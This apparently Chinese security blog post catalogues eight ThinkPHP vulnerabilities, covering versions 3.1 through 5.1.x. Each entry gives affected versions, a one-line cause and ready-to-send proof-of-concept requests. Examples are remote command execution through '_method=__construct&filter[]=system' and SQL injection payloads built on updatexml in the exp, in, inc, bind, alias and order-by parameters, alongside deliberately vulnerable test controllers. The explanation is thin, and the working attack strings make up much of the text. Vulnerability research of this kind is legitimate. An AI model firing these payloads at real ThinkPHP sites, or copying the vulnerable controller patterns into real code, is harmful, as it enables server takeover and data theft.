1) ThinkPHP 5.0.x Request类远程命令执行【20190111】
受影响版本:
ThinkPHP 5.0.0 - ThinkPHP 5.0.23
在ThinkPHP 5.0.x 版本下,由于Request类的method 函数控制松散,导致可以通
过变量覆盖实现对任意函数进行调用,并且$_POST 将作为函数的参数传入,最终通过filterValue() 方法中的回调函数call_user_func()触发漏洞,实现远程命令执行
ThinkPHP 5.0.15 POC
下面POC 只有当debug模式开启时才可成功执行1
2POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami
ThinkPHP 5.0.23 POC
下面POC 在debug模式无论关闭或开启均可成功执行1
2POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
下面POC 只有当debug模式开启时才可成功执行1
2POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
2) ThinkPHP 5.x controller远程命令执行【20181209】
受影响版本:
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.0.x ~ 5.0.23
由于框架对于controller控制器名称没有做到足够的检测,导致在使用Pathinfo访问模式(没有开启强制路由)的情况下,造成可能的GetShell
POC
在debug模式无论关闭或开启均可成功执行
1 | 执行phpinfo |
3) ThinkPHP 3.1、3.2 SQL注入(exp表达式)【20141211】
如果where语句的条件是数组,而且数组的第一个值是’exp’,那么第二个值就可以直接写SQL语句。这个特性在thinkphp3.1、3.2版本中均存在,通用性比较广。
I方法使用filter_exp函数过滤,是在exp后面会加个空格
但是filter_exp在I函数的fiter之前,所以如果开发者这样写I(‘get.school’, ‘’, ‘trim’),那么会直接清除掉exp后面的空格,导致过滤无效。而这个写法是很普遍的。
POC
1 | http://***.***.***.***/home/index/login |
4) ThinkPHP 5.0.9 信息泄露+SQL注入(in)【20170703】
ThinkPHP 5.0.9默认依旧是开放debug模式 (‘app_debug’ => true,)
触发该漏洞的关键词有:in 、not in
位置:select()、delete()、update()
漏洞测试代码:
1 | thinkphp509\application\index\controller\Index.php |
正常请求:
http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids=1
http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids[]=1&ids[]=2
POC
1 | http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids[0,updatexml(0,concat(0xa,user()),0)]=1 |
5) ThinkPHP <5.0.16 update/insert 注入(inc)【20180409】
测试准备
1)修改数据库配置信息 application/database.php
在 application/config.php 中打开调试和trace,app_debug和app_trace均为true。说明:app_debug设置为true是必须的,app_trace可不设
2)创建数据库为tptest,表名为user,其中有两个字段id和username
3)在 application/index/controller/Index.php 中Index类中添加方法:1
2
3
4
5
6public function sqlvul()
{
$username = input('get.username/a');
//db('user')->where(['id'=> 5])->insert(['username'=>$username]);
db('user')->where(['id'=> 3])->update(['username'=>$username]);
}
POC
1 | http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 |
6) Thinkphp3.2.3 update注入(bind)【20180414】
Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是应用的还是挺多
漏洞测试代码:
1 | public function sqlvul3(){ |
正常请求:(更新用户密码)
http://127.0.0.1/thinkphp323/index.php/Home/Index/sqlvul3?username=admin&password=123&id=1
POC
1 | http://127.0.0.1/thinkphp323/index.php/Home/Index/sqlvul3?username=admin&password=123&&id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) |
7) Thinkphp3.2.3 find/select/delete注入【20180823】
漏洞测试代码:
1 | public function sqlvul1() |
正常请求:
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id=2
POC
1 | http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- |
8) ThinkPHP 3.2.3/5.1.22 order by注入【20180902】
ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP 3.2.3、5.1.22及以下版本。【CVE-2018-16385】
ThinkPHP3.2.3漏洞测试代码:
1 | public function sqlvul2(){ |
ThinkPHP3.2.3 POC
1 | http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)] |
ThinkPHP5.1.22漏洞测试代码
1 | public function index() |
ThinkPHP5.1.22 POC
1 | http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1 |
参考:
http://www.lsablog.com/networksec/penetration/thinkphp5-rce-analysis/
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-086737.html
https://xz.aliyun.com/t/125
https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2257
https://xz.aliyun.com/t/2812
https://www.anquanke.com/post/id/104847
http://galaxylab.org/thinkphp-3-x-5-x-order-by%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://www.freebuf.com/vuls/185420.html